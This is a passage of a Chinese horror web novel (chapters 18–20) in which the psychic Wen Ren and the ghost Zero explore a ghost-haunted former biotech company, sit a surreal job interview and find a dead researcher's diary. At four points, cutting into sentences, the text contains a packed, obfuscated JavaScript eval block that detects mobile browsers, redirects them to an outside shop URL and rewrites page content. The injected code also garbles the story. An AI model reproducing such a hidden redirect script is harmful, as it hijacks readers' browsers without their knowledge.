Zero飘到她旁边：“看来，这里的丧诡领主不想让你离开了。” “身为异能者，你的幸福值变得和其他人不太一样，你会更容易感受到幸福，获得幸福，但也会因为使用异能，更容易失去它。” “因为获得异能，可以超度丧诡，你的幸福也会发生质变。” “准确来说，丧鬼更容易感受到你的存在。” “他们会算计你，想办法杀掉你，这是丧诡的本能。” “他们会对异能者和人类抱有最大的恶意。” 温刃正要说话，可就在此时，不远处的保安亭里多了一道人影。 那个人影不知道是什么时候出现的。 明明一秒钟前那里还是空的，下一秒，一个人就站在那里了。 就像是凭空出现的一样。 他穿着灰色的保安制服，头上戴着一顶旧帽子，脸上布满了皱纹，像是一个老年人。 他张开嘴巴，长满皱纹的嘴巴蠕动着，发出沙哑晦涩的声音：“你是谁……怎么……出现在这里……” 温刃对这种声音太熟悉了，周正明就是这么说话的，她转过身，向着声音发出的方向看了过去。 转身的时候，她才意识到了不对劲。 保安明明是出现在她身前的，可声音为什么是从身后传来了？ 温刃向着保安亭看去，那道身影已经消失不见了。 他什么时候离开的？ 又是怎么出现在她身后的？ 温刃缓缓转过身去，皱眉后退一步。 保安是个老头，脸上的皮肤松弛地耷拉着，眼睛浑浊发黄，他站在那里，两只手臂只是靠皮肤和几根还没断掉的筋腱连在躯干上. 他刚才就那样贴着温刃的后背，离她不到一掌的距离，温刃能感觉到后背传来的凉意，就想着隔着衣服，贴在她皮肤上一样…… 保安说：“你过来干啥？” “陌生人……是不能进来的，你有没有出入证？或者介绍信？”他继续说道。 四周似乎有沙沙的声响，可这根本一点风都没有。 温刃盯着前面那栋崭新的楼，脑子里在飞速地转。 这里明明属于丧诡的领域里，可为什么又会有活人存在呢？ 这个保安究竟是人还是……丧诡？ 她不敢动用自己的能力，她现在只有三十四点幸福值。 如果这里真的有保安这样的存在，不管是人是鬼，那是否证明着这里还有其他的存在？ 如果真的像新闻里说的那样，这里曾经死了二百多个人，那是不是说明可能会出现二百多位丧诡，那这三十四点幸福值完全不够用。 再遇到那种类似于多臂的家伙，幸福值不够消耗，那就是死路一条。 必须找到领域的领主，一击毙命，现在还是先糊弄一下，不要爆发冲突。 她是来救烬寻的。 温刃想了想，从口袋里掏出那张传单，递了过去。 “我是来面试的。” 保安低下头，看着那张传单。 他的动作很慢，脖子往下弯的时候，能听到骨头嘎嘎的响声。 在看清传单上的内容后，保安嘴角往两边咧开，咧得很开，露出里面发黄的牙齿。 “哇，原来是应聘的呀，”他的声音变得高了一些，似乎很高兴，“不错不错，来到我们公司你就好好干，肯定能成为这里的好员工的。” 他抬起手，往深处指了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493144|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你从这条路走，走到那里面就是面试部，不要乱走。” “跑丢了……我可帮不上什么忙。”他说到这句话的时候，毛骨悚然笑了一下。 温刃顺着保安指的方向往前走。 如果保安对她动手，她会第一时间杀死对方，可保安若是不动手，她就可以节省下来一部分幸福值，用来对付领主。 身后传来一阵沙沙的声音。 很轻，像是有什么东西在地面上拖行，在地上爬。 温刃忽然意识到一件事。 Zero没有说话，她从刚才那一下之后，就再也没有出过声。 她不是那种会安静的人。 她会叽叽喳喳地说个不停，会凑到她耳边发表意见，会看到什么都想评论两句。 但现在，Zero一句话都没有说。 温刃的余光往旁边扫了一下。 Zero就飘在她身侧，眼睛盯着她的身后：“我跟你说……你先别回头。” “那个保安，他就跟在你的身后，紧紧地贴着你。” 温刃能感觉到，身后有一股凉意，像是有什么东西站在那里，离她很近很近，近到只要她一回头，就能看到那张脸。 沙沙，沙沙，沙沙。 那个声音越来越近了。 “小刃，”Zero的声音压得很低，“你刚才看他的时候，有没有注意到一件事？” 温刃想了想。 她注意到什么了？ 她注意到保安穿着灰色的裤子，裤腿很长，垂到地面，这个东西的构造更像是一条很紧身的裙子。 那裤腿鼓鼓囊囊的，撑出一个人腿的形状。 可那太奇怪了，那裤子的构造让保安的腿看起来并没有骨头，像是一条蛇站了起来一样，光溜溜的。 等等，不太对劲。 那个保安的裤子不对劲，他只有一条细细的裤腿，他根本没有第二条腿！ 那个保安只有一条腿，一个圆柱形的东西从躯干正中间延伸下来，连着腰，下面连着脚。 就像是长条形的怪物一样。 可人类的腿……根本是长在两边啊！ 那个保安根本不是人！ 温刃的余光不敢往后看，但她看到地上的影子发生了变化。 灯光从她前方照过来，她的影子投在身后的地面上，又长又细。 但在她的影子旁边，还有一个影子。 那个影子只有一条腿。 那条腿的影子在变长，变细，像是一根被拉长的橡皮筋，从影子的身体里伸出来，在地面上蜿蜒…… 温刃身后。 保安那唯一的一条腿，像橡皮泥一样拉长变软，从裤腿里伸出来，在地面上扭曲着。 那条腿不再是腿，而是变成了一条蛇一样的东西，他的脚贴在尾巴的末端，似乎也失去了骨骼，随着尾巴的摆动在地面上拖动。 那个脚就黏在这个肉柱子的末端，跟着一起摆动。 它脚上没有穿鞋子，只有一层像老茧一样厚的灰白色皮肤，脚趾短短的，没有关节的突起，五个肉团挤在一起，最外侧的那个已经萎缩成了一粒花生大小的肉疙瘩。 就连指甲盖似乎都退化不见了。 而且，那只脚甚至会像响尾蛇一样发出声音。 沙沙，沙沙，沙沙…… “不要乱走哦。” “跑丢了……” “我可帮不上什么忙。” 但这一次，声音不是在温刃的身后。 而是从她头顶传来的。 她的余光终于看到了一部分……看到了一张倒过来的脸。 那张脸的嘴在她发际线高度，鼻子在她的额头前面，那一双浑浊发黄的眼睛在她的眉毛上方，正直直地往下看。 声音更近了。 那张脸正在缓缓降下来…… 18. 求职怪谈5 温刃再回过头去的时候，那位保安已经消失不见了。 她盯着保安亭看了一阵，才发现保安没有消失，他只是回到了保安亭里。 那扇漆黑的窗户后面，有一个模糊的人影，安安静静地站在那里，一动不动。 他在看着她，却并未做出其他动作。 温刃移开了目光，没有继续看下去。 那个保安没有攻击行为，至少现在没有，她就可以节省下来一些幸福值了。 她低头打开手机，翻出顾景骁之前发来的资料。 顾景骁虽然胆子小，但搜集资料的能力还是有的。 【新辰科技】 【曾经专注于生物科技研究，十五年前改了名字，从“新辰生物科技”改名为“新辰科技”】 【据说，“新辰生物科技”曾经致力于生物研究，在十五年前改名之前，发生了一起事故，导致实验体逃离，至今没有踪迹】 【实验体逃离当晚，三名研究员离奇死亡，死因不明，档案中没有更详细的记录，似乎被人刻意销毁】 温刃皱起眉头，那是什么实验体，居然会造成研究员离奇死亡？ 【十年前，新辰科技爆发异常大火，当天无人请假，火势越来越大，一切毁于一旦，彻底灼烧】 【CEO包括员工，乃至保安，保洁，无一幸免】 【但因为十年前的大火，新辰科技所有资料毁于一旦，无从得知当年的任何实验细节】 Zero飘在旁边，歪着头看完了屏幕上的内容，语气里有点失望：“虽然知道了一点背景，但这个消息还是表面，感觉搜一下就能搜出来。” 温刃也这么觉得，顾景骁果然不靠谱。 但好在后面还有一张地图，这个会长并不算是完全没用。 温刃把地图放大，对着眼前的建筑比对了一番。 她的目光在地图和现实之间来回移动，比对着。 “等等，Zero，”她说，“你有没有发现什么不对劲？” Zero顺着她的视线看过去。 地图上，主楼的东侧标注的是一片空地，什么都没有。 但现实中，那里矗立着一栋楼。 温刃盯着那栋建筑，越看越觉得不对劲。 它的造型很奇怪，墙面是灰黑色的，窗户很少，而且都开在很高的位置。 一楼到四楼一扇门都没有，唯一的一扇门在五楼，还是歪的。 温刃眯起眼睛，仔细看了一会儿，终于意识到问题出在哪里。 这门不是歪的。 它是倒着的。 这栋楼的顶部比底部宽，窗户的排列方式也是上大下小，像是把一栋正常的楼倒过来插到了地里。 “领域里的建筑都是根据领主的记忆或者领主的思想构建出来的，”Zero在一旁说道，“也就是说，这跟他们经历过的不幸事情有很大关联。” “这是一栋倒着的楼，我感觉这东西凭空出现在这里，肯定跟领主脱不了关系。” 温刃看着那栋倒置的楼，想到了什么：“这个构造……它更像是埋在地下的。” Zero意识到了什么：“对，所以说，地图上没有标注，是因为这栋楼原本是在地下，是一个见不得光的场所。” 温刃点了点头：“是的，反正我们这个世界的实验基地，有的真的是在地下，尤其是这种见不得光的生物实验。” 如果这栋楼真是地下实验场所的复刻，那它的入口应该在上面。 她正要说什么，身后传来一个声音：“哎呀，你是来应聘的吧？” 温刃转过身。 一个穿着西装的男人站在主楼的门口，正朝她招手。 他的手里拿着一个文件夹，另一只手指了指她手里的传单：“小姑娘啊，你快看看时间，是不是差不多了？” 温刃低头看了一眼传单。 【面试倒计时仅剩4分钟】 好家伙，差点忘记这件事了。 倒计时结束可是会死亡的。 “你快过来呀，”那个男人又说了一遍，催促道，“快应聘啊，要不然可不知道会发生什么后果呢。” 温刃看着他，又看了看那栋倒置的楼。 她本来想先去探索那栋楼的。 但现在看来，传单的问题不解决，她哪儿也去不了。 而且烬寻也是来参加招聘的，那就说明他很可能也是经过这个流程进去的。 “来了。”温刃朝那个男人走过去。 Zero飘在她身后，小声说了一句：“这人看着也不太对劲。” 温刃也知道，这里面的人都是不正常的，能有正常人才怪了。 她跟着那个男人走进了主楼。 里面的装修很普通，前台后面的墙上挂着公司的logo，旁边是一个接待区，放着几把椅子和一张茶几。 男人领着她走进一间面试室，指了指对面的椅子：“坐吧。” 温刃坐下来。 男人坐在她对面，看着温刃：“你为什么想面试新辰科技？” “你对于这一行……对于这个世界……对于人类的敌人……又了解多少？” 温刃瞳孔骤缩。 这句话不就是周正明说过的吗？ 台词都没带改变的。 难道，这世界跟高塔世界真有某种联系？ 还是说，是因为她去过高塔世界，导致那边的事情影响到了现实？ “我了解得不多，”温刃说，“但我愿意学。” 男人盯着她看了两秒，然后点了点头：“那好，我问你几个技术问题。” “Vue的生命周期……” “闭包的作用……” “浏览器渲染原理……” 温刃：…… 原来她真的是来面试的。 温刃一个一个地回答。 男人听完，又点了点头。 “温刃女士，恭喜你，面试通过了，”他说，合上文件夹，“来，你跟我过来，我带你到岗位，顺便给你录入人脸。” 温刃看了一下，简历上的倒计时已经消失了。 还好，解决了倒计时后必死的诅咒。 Zero飘在她旁边，小声嘀咕了一句：“哇，小刃，不愧是专业的，你的回答我一个都没听懂，看起来好高大上。” 温刃跟在男人身后，看了一眼那栋倒置的楼：“那个，旁边那栋楼是怎么回事啊？” 男人头也没回：“哦，原来的那栋楼啊，那栋楼就是我们的实验楼，实验部门的。” “你现在是技术部门，你只要维护我们的数据就行，我看你在这方面才是专业，你是个很优秀的人才，说出了很多我的想不到的见解。” “你之前面试过其他人吗？”温刃问，“有没有对其他人有印象？” “肯定啊，我一直都是这里的面试官。”男人说道。 “那你有没有见过一个人？叫烬寻。”温刃又问。 男人想了想，似乎想到了：“等等，他呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507347|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我见过他的，那小伙子看起来挺精神的，但是我忘了他去哪里了。” 他歪了歪头：“哦，对，他的专业不是生物专业吗？他当然是去了实验部门那边。” 他抬手指了指那栋倒置的楼。 温刃顺着他的手指看过去，不知为何，从这里看去，那栋楼居然像个倒置金字塔。 “到了，”男人说，“这就是你的工位。” 他指了指一张桌子。 桌上放着一台老旧的电脑，屏幕是那种厚厚的液晶屏，键盘上落了一层灰。 旁边的椅子上挂着一件工作服，领口的位置绣着“新辰科技”四个字。 “你先熟悉一下环境，”男人说，“有什么问题可以问我。” 他帮温刃录了一下人脸，转身准备离开。 温刃看着他的背影，忽然觉得这个人的侧脸很眼熟。 她想不起来在哪里见过，但就是觉得眼熟。 男人的步子很快，走到走廊拐角的时候，他两条腿渐渐融合，变得松软无骨，像条蛇一样在地面上蠕动，把那只脚拖在后面。 他和那个保安一样……都不是人。 温刃收回目光，想到自己在那见过那个人了。 她低头打开手机，翻出顾景骁发来的资料，翻到“关键人员”那一页。 有一个人的照片。 照片下面写着：人力资源部总监，林国栋，十年前于大火中遇难。 温刃：“果然，他就是十年前已经死掉的人，恐怕那个保安也是。” “但是他们因为领主的原因，又被以丧诡的形式，重新具现在了这里。” 其实十年前，这个人就已经被烧死了。 她很庆幸自己刚才没有对保安动手。 那就说明，这里足足有二百多号丧诡。 她坐到了那张工位上，假装在看电脑屏幕。 屏幕上的代码编辑器是十几年前的版本，鼠标的滚轮都是坏的。 她随便点开几个文件，发现里面的代码逻辑用的都是老旧的写法，有些函数甚至已经被官方废弃了。 果然，这里的一切都是根据领主的记忆构建出来的。 而领主，很可能就是十年前的某个人。 “Zero，”温刃压低声音，“你说死去的人有可能会突然变成丧诡吗？” Zero摇了摇头：“绝对不可能，丧诡的本质诞生就是因为不幸。” “但是当人已经死亡之后，意识消失，就已经没有了不幸，也没有了幸福，并不会变成丧诡。” 温刃思考了一下：“也就是说，这片区域是某个活人变成的丧诡诞生的。” “这个人拥有着十年前的记忆，才能构造出十年前这些人物的样子。” Zero愣了一下，意识到什么：“也就是说，这里的领主是十年前的当事人，或许是当时唯一一个活下来的存在，但是并没有在报告里写出来。” 温刃点了点头：“不过我得弄清楚这一切到底是怎么回事的话，我觉得我得去实验楼。” “第一，烬寻就在那里。” “第二，既然十年前的一切是因为这场实验诞生的，有没有那场火就是为了烧掉什么，那么，那个当事人可能还在那栋楼里。” Zero看着那栋倒置的楼，觉得很有道理：“是的，小刃，你的猜测是对的，领主往往会待在自己执念最深重的地方。” “那栋实验楼就是最好的去处，咱们直接去那里，或许就能解决一切了。” 19. 求职怪谈6 温刃站在那栋倒置的楼前，仰头看着它的顶层：“Zero，这入口在最顶层，我该怎么进去？” 总不能徒手攀岩吧，也没个支撑点。 Zero飘到她旁边，歪着头打量了一下：“要不，你直接用我的能力侵蚀一个洞，然后钻进去吧？” 温刃摇了摇头。 从最下面进去？那也太奇怪了。 而且她不想使用能力。 现在幸福值只有三十四点，不知道后面还会遇到什么危险，能省一点是一点。 “我去找那个面试官问问。”她说。 Zero愣了一下：“找他？你不怕他使诈？” 毕竟那个面试官一看就是丧诡。 温刃转身往回走：“我就说我想见朋友，正常问问而已。” 面试官还在办公区，正站在一张工位旁边，低着头看什么东西。 听到脚步声，他抬起头，露出微笑：“温刃女士，怎么了？有什么问题吗？” “我想见一下我的朋友，”温刃说，“他真的去实验部门了？我怎么进去找他？面试官，我真的不是摸鱼，看到他聊两句我就去干活，不会耽搁太久的。” 男人说：“你得从头顶……” 话说到一半，他的声音变得格外奇怪，像是掺杂了一层刺耳的电子音，滋滋的。 “你得走楼下，把墙砸开一个洞就行了，”那个声音继续说，“而且你不知道吧，咱们这墙其实是能恢复的，你学前人的经验就好。” “我这里有锤子，你要不？” 话音落下，他的脸上又恢复了那种笑容，不知道从哪里掏出来一把锤子。 可他的状态实在是奇怪，说不出得诡异。 就好像……刚才那段话不是他说的一样。 “好，我知道了，锤子就不用了。”温刃转身离开。 “小刃，你感觉到了吗？”Zero急忙跟了上来，“那个面试官刚才突然变得很奇怪。” 温刃点点头：“感觉到了，像是突然被什么东西操控了一样。” 她想到了那个电话，那个用她自己声音说话的电话，那种声音就是这样。 “他声音背后有一种沙沙的声音，”温刃说，“和我接到的诅咒电话一样。” Zero叮嘱道：“有的丧诡拥有操控声音的能力，所以，这有可能是领主故意误导你的陷阱。” 温刃当然知道：“他说从楼下进，但一开始他说的好像是……从头顶。” “对，”Zero点头，“他改口了，像是有人让他改口的。” 温刃：“那我们从楼上走，去楼顶看看。” * 楼顶。 四周很空旷，上面只摆放了一个工具梯。 风很大，吹得温刃的头发乱七八糟地飞，她眯着眼睛走到围栏边，往下看了一眼。 那栋倒置的楼就在旁边。 两栋楼之间的距离不算太远，大概五六米左右，而且这两栋楼差不多高。 Zero凑过来看了一眼，指着不远处的梯子：“这个好像能搭过去？” 温刃解开了绑着架子的绳子，架子很重，但她咬着牙把它推了出去，搭在了两栋楼之间。 还好这东西看起来还算是稳固。 Zero飞过去确认了一下：“小刃，下面架稳了，你放心过来吧。” 温刃小心翼翼踩了过去，就在她走到中间的时候，身后传来了一道声音。 “你怎么……不听我的话呢？”那声音沙沙作响，明显是刚才那面试官的声音。 温刃没有回头，她抓紧前面的围栏，加快了脚步。 沙沙…… 沙沙…… 蛇类在地上扭曲的声音从身后传来，越来越近。 温刃余光扫到了身后的影子。 那个面试官站在楼顶的边缘，他尾巴在地面上拖动，推动着他的身体往前移动，速度很快，甚至已经爬到了铁架上。 温刃三步并作两步地冲过铁架，跳上了对面的楼顶。 然后她转过身，一脚踹在铁架上。 铁架晃了一下，从围栏上滑落，带着那个正在爬过来的面试官一起往下坠。 她听到一声沉闷的撞击声从下方传来，然后是铁架落地的声音，哐啷啷地响了好几秒才停下来。 温刃站在楼顶边缘，低头往下看。 面试官躺在下面的地面上，身体蜷缩成一个奇怪的形状。 他的尾巴还在动，抽搐两下便彻底没了声息。 “走吧，他是追不过来了，但这个程度肯定不会死的。”Zero说。 温刃当然知道，丧诡无法被杀死，他们只能被幸福超度。 这点程度，没过多久，面试官还会恢复。 两人转身离去。 她们没有注意到的是，面试官的脸正朝上仰着，嘴角一点一点地咧开。 像是有人用手指从他嘴角两侧往外撕，撕出一个比正常笑容大两倍的弧度，直到耳根附近才停下来。 那张嘴张着，黑洞洞的，过了几秒，他才发出一点声音。 “去吧……去吧……” “温刃，你要死喽……” * 楼顶有一扇门，刚好用员工卡可以刷开。 温刃从口袋里掏出那张工牌贴了上去，绿灯闪了一下。 滴。 门开了。 温刃没想到真的能打开，看来今天居然一切顺利。 她推门走了进去。 里面的空气不一样有一股浓烈的焦糊味，就连Zero都皱起眉头：“看来当年那场火真的烧的很惨。” 就连领域内的残留气味都快要让人窒息了。 温刃继续往前走，每走一步，焦糊味就浓一点。 楼梯走廊尽头是一个较为空旷的工作区，有各种人员走动，影影绰绰。 几张长桌并排摆在一起，上面放着各种仪器和试管架。 墙上贴着表格和流程图，角落里堆着几台老旧的设备。 天花板的灯管有些坏了，一闪一闪的，让整个空间的光线忽明忽暗。 有好几个穿着防护服的人在工作区里走动。 他们的防护服是白色的，从头包到脚，脸上戴着透明的面罩，手上戴着厚厚的橡胶手套。 每个人都是全副武装的，像是害怕被什么东西感染一样。 温刃就近随便拦住一个人：“你好，我想找个人。” 最近的一个科研人员转过头来。 透过面罩，温刃能看到那是一个中年男人，他眼睛下面有很深的黑眼圈，像是很久没有睡过觉。 研究员都这么拼吗？ “你怎么进来的？”那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507348|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个研究员语气里明显带着疑惑，“不穿防护服最好不要往前走，这项实验非常危险，一个不慎就会失去性命” “我……”温刃脑子转了一下，“我来找一个实验人员，叫做烬寻，给他递一些资料。” 听到这个名字，科研人员看了她一眼，明显被说服了：“那你穿防护服下去就好，你要找的人在底下五层。” “五层？”温刃问。 “对，负五层，”他指了指走廊尽头的一个方向，“不过电梯无法直达五层，必须要先到三层，然后走楼梯下去。” “你要小心，你那个朋友的工作很危险，但也是我们公司收入最高的，你下去就知道了。” “记住，不要脱掉防护服，那会保护你。” 这个研究员指向不远处，那里刚好有一套崭新的防护服。 温刃这才注意到，她现在所在的地方就是实验室的负一层，墙上贴着一个标识：B1。 也就是说，这栋楼的负四层，其实是外面的二层，负五层其实是外面的一层。 就像是这栋楼被丧诡领主故意搬到了上面。 果然有问题。 丧诡领主不会就藏在这里吧？ 温刃环视一圈，这个负一层十分空旷，没有人能躲藏的样子。 而在这一层的研究员也没几个。 看样子，他们都在下面？ “穿上这个，”科研人员把那套防护服拿起来递给她，“下去之前记得检查密封性，绝对不能漏气。” 温刃接过防护服，套在身上。 防护服比她预想的要重，橡胶的味道很浓，面罩戴上去之后，她的呼吸声变得很大。 能一直戴着这种装备高强度工作，简直是不容易。 致敬这帮早已逝去的工作者。 温刃走到电梯前，按了一下按钮。 门很快就开了，只是电梯看起来比较老旧，居然发出轰隆隆的声音。 温刃正准备条件反射按下自己想去的楼层，还是犹豫的一下。 “怎么了吗？”Zero在一旁询问。 温刃想了想，先按了三：“但我感觉一切没那么简单。” 万一这些人在说谎呢？ 她对这个地方一无所知，这些丧诡说的话，她能信多少？ 万一，这个研究员像是面试官一样，被突然而来的力量控制了呢？ 那不就代表着，这个研究员说的话也不能相信。 温刃的手指移到了二，按了下去：“我不相信他，我准备先去负二层看看。” Zero点点头：“是哦，小心驶得万年船，咱们还是得小心点。” “而且这地方也太奇怪了，为什么偏偏下面两层没有电梯？” “从接触面试官开始，咱们已经意识到负五层不对劲，是绝对不会去的，可为什么这个科研人员却也想让我们去负五层？” “这计谋太假了点吧？” “小刃，我感觉不对劲，你小心点。” “这个负二层说不定也有问题，他们说了那么多话，可能就是为了把我们往负二层引过去。” 温刃点点头，但她还是决定去负二层看看。 她随时警惕着，随时准备使用能力。 电梯开始下降。 数字从B1跳到B2。 很快，门打开了。 20. 求职怪谈7 温刃走出电梯，发现自己站在一条走廊里。 走廊两边是一扇扇紧闭的门，门上贴着编号。 这一层的烧焦味更加浓郁，但好在并没有什么危险出现。 Zero好奇地左看右看：“这一层怎么一个人都没有哎。” 温刃当然也发现了这点，她推开最近的一扇门。 里面房间不大，大概十几平米，放着一张床，一个衣柜，一张桌子。 床上的被子叠得整整齐齐，枕头旁边放着一本翻了一半的书。 “这地方是员工休息室。”温刃说。 Zero点点头：“那有可能都去上班了，所以都不在宿舍。” 温刃跟着Zero把整个楼层翻了一遍，每一扇门后面都是类似的房间，有些看起来住过人，有些看起来是空的。 Zero虽然碰不到东西，好在这里结构足够简单，她看一遍就知道大致线索，有她帮忙，温刃的搜索速度快了许多。 衣柜里有衣服，桌上放着杯子，床头贴着便利贴，有些字迹已经模糊了，只能勉强认出几个字。 “好累。” “真的不想干了……” “什么时候能走……” “看样子离不开了……” 温刃站在走廊里，环顾四周，这里的布局很奇怪，房间很多，但都不大，像是临时搭建的隔间，走廊很窄，只能容两个人并排走。 Zero伸着脑袋穿过墙到处看着有没有隐藏房间，飘到走廊尽头的时候，她发出一声惊疑：“咦？” “小刃，这里居然有个隐藏房间。” 温刃急忙走了过去，在墙上一阵摸索，找到了隐藏开关：“Zero，谢谢。” 如果不是Zero，她恐怕转头就走了。 Zero露出一个甜美的微笑：“嗯哼，看来我用处很大，我要求也不高，到时候你在那个世界留意一下，我想找到我的记忆。” 温刃答应了：“好。” 等下次有机会，她会去调查Zero的身份。 这个房间比其他房间都要小，看样子是个不起眼的杂物间，并不是宿舍，但为什么偏偏要隐藏起来？ 温刃打开手机的手电筒，在房间里照了一圈。 什么都没有。 她正要关上手电筒的时候，光照到了床底下，那的凹槽里好像放着什么东西。 她把它抽了出来。 那是一个笔记本，封皮是黑色的，边角已经磨损了，封面上什么字都没有。 她翻开第一页，上面的日期居然是十年前，只是书写的字迹很潦草，像是在极度恐惧的状态下写的。 【好可怕，好可怕，■回来了】 【我们都要死的！一切都逃不掉的！】 【要死了要死了要死了……】 【我早就说过，最开始就不该进行这个实验，这是违背一切的实验，这是会毁掉人类文明的实验】 【今天又死掉了一个人，老张】 【他们说他是心脏病发作，但我亲眼看到他被■吃掉，就连骨头渣滓都没有剩下】 【不对……这不对……】 【他明明已经死了！可是我昨天又看到他了，他站在走廊里，穿着他的白大褂，和活着的时候一模一样】 【我叫他，他居然回头看了我一眼，他在笑】 【我敢肯定，那绝对不是人类能做到的表情，因为……他的嘴唇居然长在了下巴上】 【他的嘴在动，他说了什么，我听不清，我很害怕，只能快点远离】 【我一定是疯了，难道我的记忆出了问题，他没有死？他怎么可能死呢？】 【不对，他死了，我参加了他的葬礼，我亲手把花放在了他的棺材上】 【那走廊里那个是谁？】 【为什么大家不知道他死了，难道他们被■影响了记忆吗？】 【今天又有一个人死了，是小李，他被拖入通风管道，残肢断臂落了下来，就掉在我的脸上】 【他的血淋在我的衣服上】 两天后。 【他死了三天了，我今天在食堂看到他在吃饭，他坐在角落里，背对着所有人，没有人觉得不对，没有人觉得奇怪】 【为什么只有我看得到他们的死亡？】 【难道我的精神真出问题了】 【不，不是，我拿出那件染血的衣服给大家看，他们都能看到，可却不相信那是小李的血】 【死了第三个人了，死掉的人越来越多了，我不知道什么时候会轮到我】 【好害怕，我必须离开这里】 【不，不行，从在这里工作开始，我们就没有人可以离开了】 【这根本是死局！】 【还好，我找到了隐藏的房间，这是一个隐蔽的杂物室，为了美观，建造成了密室，我把进入的方式改变了一下，还好，除了我没人能进来了】 【我存了很多食物跟水，我要躲在这里，躲到■离开】 【第十天，我已经听不到外面的脚步声了，估计外面的人已经死完了】 【嘿嘿，只有我活下来了，我才是那个主角】 【不，不对】 【我在镜子里看到了，■在我身后，就在我写这些字的时候，■就在我身后】 【可我回头看，却什么都没有】 【我意识到了一个不对劲的地方】 【可……这是一间杂物室啊，哪里来的厕所跟镜子呢？】 下一页只写了半行字，后面半行被撕掉了，只留下参差不齐的边缘。 【■来了！■就在门】 日记到这里戛然而止。 温刃翻到这人的名字，觉得有些熟悉。 侯高。 这个人，是十年前死在那场大火里的研究员之一。 笔记本里那个被涂掉的，用黑色方块盖住的东西到底是什么？ 是那个实验体吗？ 温刃隔着文字，都能感觉到那个研究员的恐惧。 她合上笔记本，把它放回了床底下。 她不确定这个东西有没有问题，所以不敢带在身上，在这个地方，任何东西都可能有问题。 Zero看了一眼，露出疑惑：“小刃，那个人说自己在这里生存了十多天，可为什么我没有看到水根食物残渣，还有尸体也不见了，难道那个实验体连这个也吃？” 温刃也不知道：“也许是幻觉也说不定呢，或者，是领主故意这么做的。” 她站起来，走出了那个房间。 电梯还在B2层等着她，她走进去，正准备去按电梯。 可是就在此时，温刃的动作忽然停了下来，她真的要去负三层吗？ Zero从她身后飘过来：“小刃，好奇怪啊，你不觉得一切这么顺利吗？” “我们好像很轻松就发现了线索，而且迄今为止，领域内的丧诡对你并没有攻击行为。” “唯一一个有动作的面试官摔下去了，但我感觉他是在把你往这里引。” 温刃也在想这个问题。 这一切太顺利了，从面试官告诉她怎么进来，到楼顶的那个铁架，到工牌刷开了门禁，到科研人员告诉她怎么去负五层…… 一切的一切，都像是在把她往某个方向推。 “是的，”温刃说，“一切看起来太顺了，好像有什么东西在推动着我，让我往下走，从这个面试 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507349|202335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 官开始，就好像在操控着我进去，他想让我去五层。” “不仅如此，这些丧诡居然没有攻击我，让我一点幸福值都没有消耗。” “我总感觉哪里有些不对劲，但是我想不出来。” 温刃靠在走廊的墙上，脑子里飞速地转着：“Zero，你不是说丧诡好像能感受到异能者的存在吗？那距离很远也能感受到吗？” Zero想了想：“那不一定，得看这个区域里有多少异能者，如果有很多很多异能者，丧诡的感受也会混乱。” 温刃的心里有一个念头在慢慢成形：“那如果说，这个世界只有我一个异能者呢？” “他能感受到我吗？” Zero的表情变了：“那他一定能感受到你，因为你是这个世界里唯一特殊的存在，无论你走到哪里，他都会感受到你。” “你就像是深海里最耀眼的灯塔，不仅是他，所有丧诡都能感受到你的存在。” 温刃又问：“Zero，丧诡都有杀死人类跟异能者的本性，可他们本质上也是人类变异而成的，那他们是否保留有人类的思维？” Zero沉思一阵：“他们一定保留了人类思维。” “除去一些太过于弱小连人形都没有的丧诡，还有强大到已经失去理智的丧诡……” “其他丧诡是一定拥有人类意识跟思维的。” 走廊里的灯闪了一下。 “那么，丧诡就会算计人类，”温刃站在忽明忽暗的光线里，缓缓说出一个炸裂的推断，“有没有可能……那个所谓的领主，他是在得知我是异能者之后，故意引我过来的？” “有没有可能，这从一开始就是个局，一个针对我的局。” 灯又闪了一下。 没有人回答。 温刃忽然僵住了，因为她注意到了一件事。 她的身后，电梯的楼层显示屏，还亮着。 她刚才从B2层出来，显示屏上应该显示B2。 